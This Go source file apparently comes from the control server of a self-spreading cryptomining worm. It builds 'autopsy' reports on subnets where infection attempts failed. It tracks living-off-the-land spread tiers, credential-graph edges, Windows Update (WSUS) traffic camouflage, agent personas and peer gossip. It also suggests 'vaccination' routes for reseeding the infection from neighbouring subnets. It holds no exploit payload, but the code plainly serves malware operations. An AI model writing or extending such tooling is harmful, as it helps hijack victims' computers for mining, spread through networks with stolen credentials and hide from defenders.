package atlas

import (
	"fmt"
	"strings"
	"time"

	"crypto-miner-server/internal/spreadrouter"
)

const SubnetAutopsyLOTLAttemptLimit = 5
const SubnetAutopsyGossipWhisperLimit = 8

// LOTLAttemptSnapshot is one spread/mining tier attempt in an autopsy packet.
type LOTLAttemptSnapshot struct {
	AgentID    string `json:"agent_id,omitempty"`
	AgentName  string `json:"agent_name,omitempty"`
	Tier       string `json:"tier"`
	OK         bool   `json:"ok"`
	Error      string `json:"error,omitempty"`
	DurationMs int64  `json:"duration_ms,omitempty"`
	Phase      string `json:"phase,omitempty"`
}

// WSUSMimicSnapshot records WSUS cache-peer staging camouflage context.
type WSUSMimicSnapshot struct {
	FormatMimicEnabled bool   `json:"format_mimic_enabled"`
	CachePeerLane      string `json:"cache_peer_lane"`
	RecentJoinLane     string `json:"recent_join_lane,omitempty"`
}

// ErasureFallbackSnapshot reports whether RS lane fallback is available.
type ErasureFallbackSnapshot struct {
	ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
	AvailableAsFallback bool `json:"available_as_fallback"`
}

// SubnetAutopsyPacket is the full immune-response autopsy for a paused /24.
type SubnetAutopsyPacket struct {
	Prefix          string                    `json:"prefix"`
	TriggeredAt     time.Time                 `json:"triggered_at"`
	FailCount       int                       `json:"fail_count"`
	PausedUntil     *time.Time                `json:"paused_until,omitempty"`
	LOTLAttempts    []LOTLAttemptSnapshot     `json:"lotl_attempts"`
	WSUSMimic       WSUSMimicSnapshot         `json:"wsus_mimic"`
	Persona         string                    `json:"persona"`
	ErasureFallback ErasureFallbackSnapshot   `json:"erasure_fallback"`
	GossipWhispers  []GossipHint              `json:"gossip_whispers"`
	FailureAtlas    string                    `json:"failure_atlas,omitempty"`
	CauseOfDeath    string                    `json:"cause_of_death"`
	VaccinationLane *spreadrouter.SpreadRouteHint `json:"vaccination_lane,omitempty"`
}

// BuildCauseOfDeath composes a one-page immune summary from packet fields.
func BuildCauseOfDeath(pkt SubnetAutopsyPacket) string {
	var b strings.Builder
	fmt.Fprintf(&b, "Subnet %s immune pause: %d spread failures triggered 24h quarantine.", pkt.Prefix, pkt.FailCount)
	if pkt.PausedUntil != nil {
		fmt.Fprintf(&b, " Resumes %s UTC.", pkt.PausedUntil.UTC().Format(time.RFC3339))
	}
	b.WriteString("\n")

	failed := failedSpreadAttempts(pkt.LOTLAttempts)
	if len(failed) > 0 {
		b.WriteString("Failed LOTL tiers: ")
		parts := make([]string, 0, len(failed))
		for _, a := range failed {
			line := a.Tier
			if a.Error != "" {
				line += " (" + a.Error + ")"
			}
			parts = append(parts, line)
		}
		b.WriteString(strings.Join(parts, ", "))
		b.WriteString(".\n")
	} else {
		b.WriteString("No recent LOTL spread attempts on this /24 — failures came from cred-graph edges.\n")
	}

	if pkt.FailureAtlas != "" && pkt.FailureAtlas != "no fleet failure atlas samples for this fingerprint" {
		fmt.Fprintf(&b, "Failure atlas: %s.\n", pkt.FailureAtlas)
	}

	if len(pkt.GossipWhispers) > 0 {
		b.WriteString("Atlas gossip whispers: ")
		parts := make([]string, 0, len(pkt.GossipWhispers))
		for _, h := range pkt.GossipWhispers {
			parts = append(parts, h.Tier+"@"+h.Condition)
		}
		b.WriteString(strings.Join(parts, ", "))
		b.WriteString(".\n")
	}

	fmt.Fprintf(&b, "Persona=%s; WSUS mimic=%v; erasure fallback=%v.",
		pkt.Persona, pkt.WSUSMimic.FormatMimicEnabled, pkt.ErasureFallback.AvailableAsFallback)

	if pkt.VaccinationLane != nil && pkt.VaccinationLane.SeedAgentID != "" {
		fmt.Fprintf(&b, "\nVaccination: route via %s (%s lane",
			displayAgent(pkt.VaccinationLane.SeedAgentName, pkt.VaccinationLane.SeedAgentID),
			pkt.VaccinationLane.JoinLane)
		if pkt.VaccinationLane.ErasureLanesEnabled {
			b.WriteString(", RS lanes on")
		}
		b.WriteString(").")
	} else {
		b.WriteString("\nVaccination: no BGP clearance route — widen Path Tracer or seed from adjacent /24.")
	}
	return strings.TrimSpace(b.String())
}

func failedSpreadAttempts(attempts []LOTLAttemptSnapshot) []LOTLAttemptSnapshot {
	var out []LOTLAttemptSnapshot
	for _, a := range attempts {
		if a.OK {
			continue
		}
		if a.Phase != "" && a.Phase != "spread" && a.Phase != "deploy" {
			continue
		}
		out = append(out, a)
	}
	return out
}

func displayAgent(name, id string) string {
	if strings.TrimSpace(name) != "" {
		return name
	}
	if len(id) > 8 {
		return id[:8]
	}
	return id
}

// TrimLOTLAttempts keeps the last n attempts in arrival order.
func TrimLOTLAttempts(attempts []LOTLAttemptSnapshot, n int) []LOTLAttemptSnapshot {
	if n <= 0 || len(attempts) <= n {
		return attempts
	}
	return attempts[len(attempts)-n:]
}

// TrimGossipWhispers keeps the most recent n gossip hints.
func TrimGossipWhispers(hints []GossipHint, n int) []GossipHint {
	if n <= 0 || len(hints) <= n {
		return hints
	}
	return hints[len(hints)-n:]
}